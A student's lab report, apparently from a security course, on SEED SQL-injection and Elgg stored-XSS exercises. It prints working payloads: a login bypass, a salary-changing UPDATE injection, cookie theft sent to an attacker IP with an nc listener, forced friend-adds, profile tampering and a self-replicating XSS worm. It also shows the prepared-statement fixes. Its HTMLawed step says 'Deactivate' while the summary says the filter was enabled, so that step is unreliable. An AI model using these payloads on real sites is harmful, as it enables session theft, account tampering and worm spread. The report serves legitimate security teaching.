20253915 2024-2025-2 《网络攻防实践》实践10报告

1.实践内容

1.1 SQL 注入相关知识点

1.SQL 注入原理:Web 应用将用户输入直接拼接到 SQL 语句中执行,攻击者通过构造恶意输入改变 SQL 语义,实现非法操作。
2.注入类型
(1)SELECT 注入:绕过登录、查询敏感数据;
(2)UPDATE 注入:篡改数据库数据、越权修改信息。
3.核心攻击手法:单引号闭合、#/--注释后续语句、拼接恶意 SQL 逻辑。
4.防御技术
(1)预处理语句(Prepared Statement):参数化查询,分离 SQL 指令与用户数据;
(2)输入校验、权限最小化、敏感数据加密。
5.相关技术:MySQL 数据库操作、PHP 与 MySQL 交互、Apache Web 服务部署。

1.2 XSS 跨站脚本相关知识点

1.XSS 原理:Web 应用未对用户输入的脚本代码做过滤转义,导致脚本在浏览器端执行,劫持用户会话。
2.实验涉及类型:存储型 XSS(恶意代码存入数据库,所有访问者均会触发,危害最大)。
3.攻击能力:弹窗验证、窃取 Cookie、会话劫持、自动操作(加好友 / 改资料)、XSS 蠕虫自我传播。
4.防御技术
(1)输入过滤:HTMLawed 插件过滤恶意标签与脚本;
(2)输出编码:对用户提交内容转义后再展示;
(3)启用 CSP、HttpOnly Cookie 禁止 JS 读取 Cookie。
5.相关技术:JavaScript 基础、Ajax 异步请求、Cookie 机制、Elgg CMS 框架安全机制。

1.3 基础环境与工具知识点

  • 虚拟机配置:VMware 磁盘挂载、硬件虚拟化、网络 NAT 模式配置;
  • Linux 基础命令:服务管理、文件编辑、端口监听(nc)、网络查看(ifconfig);
  • Web 安全核心:用户输入校验、最小权限原则、数据与指令分离。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在  www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

2.1.1 安装虚拟机:

· 打开 VMware,点击「创建新的虚拟机」
· 选择 「自定义(高级)」 → 下一步
· 硬件兼容性保持默认 → 下一步
· 安装来源选择 「我以后再安装操作系统」 → 下一步
· 客户机操作系统选「Linux」,版本选 「Ubuntu(32 位)」 → 下一步
· 自定义虚拟机名称和存储位置(剩余空间至少 20GB)→ 下一步
① 加载下载的 vmdk 文件
image
② 主要配置如下:
image
③ 进入「处理器」→「虚拟化引擎」,勾选:虚拟化 Intel VT-x/EPT 或 AMD-V/RVI
image
④ 进入「显示器」,勾选「加速 3D 图形」,显存设置为 128MB 以上
image
⑤ 确认「网络适配器」为「启动时连接」
image
⑥ 开启虚拟机:
image
⑦  修改主机名:hostname 20253915fxf
image

2.1.2 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

① 输入sudo service apache2 status 开启apache服务
image
② 输入mysql -u root -p 输入密码seedubuntu 登录MySQL数据库
image
③ 输入show databases; 查看mysql中已有的数据库
image
④ 输入use Users show tables;进行切换数据库,并在查看Users数据库
image
⑤  输入select * from credential; 查看credential中所有记录
image
⑥ 输入select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录
image

2.1.3 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

① 在浏览器中输入www.SEEDLabSQLInjection.com 进入网页
image
②  选择view page source查看网页源码,发现登陆的表单中使用 get 方法访问 unsafe_home.php,
image
③ 浏览器中输入地址/var/www/SQLInjection/unsafe_home.php查看相关源码
image
image
image
可以看到,该程序针对admin和普通用户具有不同的处理方法
④ 因此,我们可以构造 Admin'#,这样会使得#后的Password判断不会执行,通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录
image
可以看见登录成功
image

2.1.4 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

① 查看 Edit_Profile 页面的源代码,可以看到表单依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面
image
查看源代码:右键-view page source
image
② 查看 unsafe_edit_backend.php页面
其地址为/var/www/SQLInjection/unsafe_edit_backend.php
image
image
③ 先使用用户名Samy’#进行登录
image
image
④ 构造 $input_nickname 的值来进行SQL注入攻击.登录成功进入后点击Edit Profile进行修改,输入', salary='20253915' where Name='Samy';#把Samy的Salary修改为20253915,修改好后点击Save,可以看到已经修改完成了
image
image

2.1.5 SQL对抗:修复上述SQL注入攻击漏洞。

① 对unsafe_home.php文件中更改sql语句
//原来的php代码:
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";
//修改后的php代码:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

image
修改后再次登录发现失败
image
② 对unsafe_edit_backend.php更改sql语句
//原来的php代码

if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
  }else{
// if passowrd field is empty.
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
}

//修改后的php代码:

if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
}

image

修改完成后再次进入修改发现没有反应。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

2.2.1 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先打开seedubuntu中的浏览器进入网址 http://www.xsslabelgg.com ,网址可以在文件夹里找就可以了
点击Log in进行登录,这里的用户名和密码为:
用户名 密码
Alice seedalice
Boby seedboby
Samy seedsamy
Admin seedelgg
我们选择使用Alice的身份登录,用户名为Alice,密码为seedalice。
image
点击”profile”--“Alice”--“Edit Profile”,然后在“Brief description”中写入以下内容:<script>alert("20253915");</script> //弹出警告窗口,显示“20253915”
image
image

2.2.2 弹窗显示cookie信息:将cookie信息显示。

把填入“Brief description”中的内容改为:<script> alert(document.cookie);</script>
image
回车显示弹窗信息
image

2.2.3 窃取受害者的cookies:将cookie发送给攻击者。

打开终端查看一下虚拟机的IP地址为192.168.199.128
image
再次进入编辑界面,在Brief description中输入

<script>
  document.write('<img src=http://192.168.199.128:1921?c=' + escape(document.cookie) + '>');
</script>

image
在终端中输入nc -l 1921 -v监听1921端口,然后在网页上登录Samy访问Alice,可以看到监听到以下内容(其实之后只要有用户访问Alice的主页,netcat就会接收到该用户的cookie)
image

2.2.4 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

以用户 Alice 的身份登录,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,点击“Add Friend”按钮。
image

我们发现,点击按钮后浏览器向http://www.xsslabelgg.com/action/friends/add发送了GET请求,并附带了以下三个参数:

friend=45:请求添加的对象id
__elgg_ts=1715849723:时间戳
__elgg_token=8s6rxvluUUz-8kY8-VbeoQ:令牌

image
我们根据这个方法可以得知:
Alice的id为44
Boby的id为45
Charlie的id为46
Samy的id为47
Admin的id为36
点击这条新指令得到这条指令的url,可以根据这条url构造payload,在Alice的About me栏中添加这段代码,可以做到无需审核直接添加好友。(注意,这里必须点击About me框右上角的edit html,才可以进行添加这段代码,否则添加不成功)

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&amp;__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&amp;__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

image
可以看到已经成功添加好友。
image

2.2.5 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

<script type="text/javascript">
	window.onload = function(){
  //JavaScript code to access user name, user guid, Time Stamp __elgg_ts
  //and Security Token __elgg_token
	var userName=elgg.session.user.name;
	var guid="&guid="+elgg.session.user.guid;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;
    var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
	var aliceGuid=44;    
	if(elgg.session.user.guid!=aliceGuid){
   	//Create and send Ajax request to modify profile
   	var Ajax=null;
   	Ajax=new XMLHttpRequest();
   	Ajax.open("POST",sendurl,true);
		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
		Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

将这一部分代码放入Alice用户profile的About Me中,首先编辑profile,然后单击About me最右侧的Edit HTML,在文本框中填入上述代码保存即可
image
image
然后退出Alice,使用Boby登录。确认Boby的profile为空。
image
在成员中访问Alice主页,再通过左上角返回自己的profile,即可发现自己的About me已经被修改。
image

2.2.6 编写XSS蠕虫。

① 在alice账户的about me中填写,并保存。
这是一段XSS蠕虫病毒代码,不仅会偷偷篡改个人资料,还会把自身代码复制到个人简介里,实现自我复制、无限传播,访问者打开页面就会中招。

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>20252804tangxinci"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=45;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image
② 登录boby账户并访问alice主页后,可以看到个人信息已经被强制修改
image

2.2.7 对抗XSS攻击。

① 登录admin账号,链接为www.xsslabelgg.com/admin,“plugin”——>“HTMLawed” ——>改为"Deactivate" 。(注意跟之前登录方式不一样)
image
② 重新模拟XSS攻击后发现攻击失败。
image

3.学习中遇到的问题及解决

  • 问题1:加载 SEEDUbuntu-16.04-32bit.vmdk 磁盘文件失败,虚拟机无法启动;开启后执行sudo命令提示unable to resolve host
  • 问题1解决方案:
  • 新建虚拟机时选择自定义高级,直接挂载现有 vmdk 文件,不重新安装系统;
  • 处理器设置中必须勾选虚拟化 Intel VT-x/EPT,否则系统无法正常运行;
  • 编辑/etc/hosts文件,添加127.0.0.1 主机名,修复主机名解析失败问题。
  • 问题2:Apache2 服务未启动,无法访问 Web 实验页面;MySQL 登录失败,提示密码错
  • 问题2解决方案:执行sudo service apache2 start手动启动 Web 服务,用status命令查看运行状态;

4.实践总结

本次实验基于 SEEDUbuntu 虚拟机,完成SQL 注入攻击与防御、XSS 跨站脚本攻击与防御两大核心任务,完整复现了 Web 典型漏洞的攻击流程与防护手段。
1.SQL 注入实验

  • 成功利用SELECT 注入绕过登录验证:构造Admin'#闭合 SQL 语句,注释密码校验逻辑,无密码登录管理员账号;
  • 完成UPDATE 注入越权修改数据:通过员工资料修改页面,拼接恶意 SQL 修改他人薪资,实现数据篡改;
  • 掌握防御方法:将 PHP 原生字符串拼接 SQL,替换为预处理语句 + 参数绑定,彻底修复注入漏洞。
    2.XSS 跨站脚本实验
  • 实现存储型 XSS 基础攻击:插入 JS 代码实现弹窗、窃取 Cookie、获取用户信息;
  • 完成高级攻击:利用 Ajax 自动添加好友、篡改他人资料,编写自我复制 XSS 蠕虫,实现访问即感染、批量传播;
  • 掌握防御手段:启用 Elgg 的 HTMLawed 输入过滤插件,对用户提交内容做转义处理,阻止恶意脚本执行。
    3.整体收获
    实验直观验证了用户输入不可信的 Web 安全核心原则,未做过滤的输入会导致严重漏洞;同时掌握了 SQL 注入、存储型 XSS 的攻击思路与标准化防御方案,理解了漏洞产生的本质与修复逻辑。
posted @ 2026-05-13 16:47  -;  阅读(71)  评论(0)    收藏  举报